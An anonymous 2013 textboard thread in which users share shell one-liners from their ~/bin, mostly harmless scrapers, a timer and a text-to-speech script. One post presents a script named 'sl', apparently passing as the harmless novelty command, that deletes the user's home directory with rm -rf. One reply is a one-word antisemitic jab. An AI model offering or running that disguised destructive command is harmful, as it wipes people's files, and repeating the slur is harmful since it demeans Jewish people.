Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Silly oneliners from your ~/bin

Name: Anonymous 2013-12-13 8:21

(Or shell functions if your shell have them)
1. Read the last xkcd comic without opening your browser:

#!/bin/sh
feh -F `curl -q -o - http://xkcd.com | awk '/URL/ {print $5}'`

Name: Anonymous 2013-12-13 8:29

2. Mandatory display of the current temperature outside (that I can compare with what the thermometer on my balcony says)

#!/bin/sh
T=`fetch -q -o - http://www.accuweather.com/URL-OF-YOUR-LOCATION \
| grep '<div class=\"info\"> <span class=\"cond\">' \
| cut -d '>' -f5 | cut -d '<' -f1`
echo ${T}°C

Name: Anonymous 2013-12-13 8:43

3. get the lyrics of the song I'm listening to

#/bin/sh
# usage getlyrics leonardcohen dancemetotheendoflove
fetch -q -o - --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" \
http://www.azlyrics.com/lyrics/$;{1}/${2}.html \
| sed -n '/<\!-- start of lyrics -->/,/<\!-- end of lyrics -->/p' \
| sed -e "s:<[^<>]*>::g"

Name: Anonymous 2013-12-13 9:12

Back to /g/

Name: Anonymous 2013-12-13 9:26

tack /g/o b

Name: Anonymous 2013-12-13 9:47

Subtle troll is subtle.
Yes, I did feel slightly annoyed. Congrats

Name: Anonymous 2013-12-13 11:39

u mad?

Name: Anonymous 2013-12-13 14:02

u mad?

Name: Anonymous 2013-12-13 14:27

>>3
| leonardcohen
jew

Name: Anonymous 2013-12-13 18:19

>>9
Shalom!

Name: Anonymous 2013-12-13 18:19

check 'em

Name: Anonymous 2013-12-13 20:09


$ cat ~/bin/sl

#/bin/sh
rm -rf /home/$USER

Name: Anonymous 2013-12-14 6:40

>>1
Weird, I didn't know others had bin directories in their home directories too.

A simple timer. Simple, but useful in a number of situations.
~ $ cat bin/timer
#!/bin/sh
sleep $@; mplayer /usr/share/sounds/freedesktop/stereo/bell.oga


4chan image scraper. Just provide the link to a thread, then it saves all the images.
~ $ cat bin/4chan-dl
#!/bin/sh
curl -s $@ | tr '\"' '\n' | grep "images.4chan.org" | uniq | sed s/^/http:/g | xargs wget -nv

Name: Anonymous 2013-12-14 10:09

>>13
No, it's pretty common. ~/bin was even in the default path here.

Name: Anonymous 2013-12-14 12:33

>>13
images.4chan.org
that's i.4cdn.org now
enterprise quality content delivery

Name: Anonymous 2013-12-14 12:40

A text-to-speech utility with nice human voices from AT&T

% cat ~/bin/tts
#!/bin/sh
ip=http://204.178.9.51
voice=laura
mplayer -really-quiet $ip$(curl -s --data "voice=$voice&txt=$*&speakButton=SPEAK" $ip/tts/cgi-bin/nph-nvttsdemo \
| grep ".wav" | cut -d\" -f2)

Name: 2013-12-16 15:24


Don't change these.
Name: Email:
Entire Thread Thread List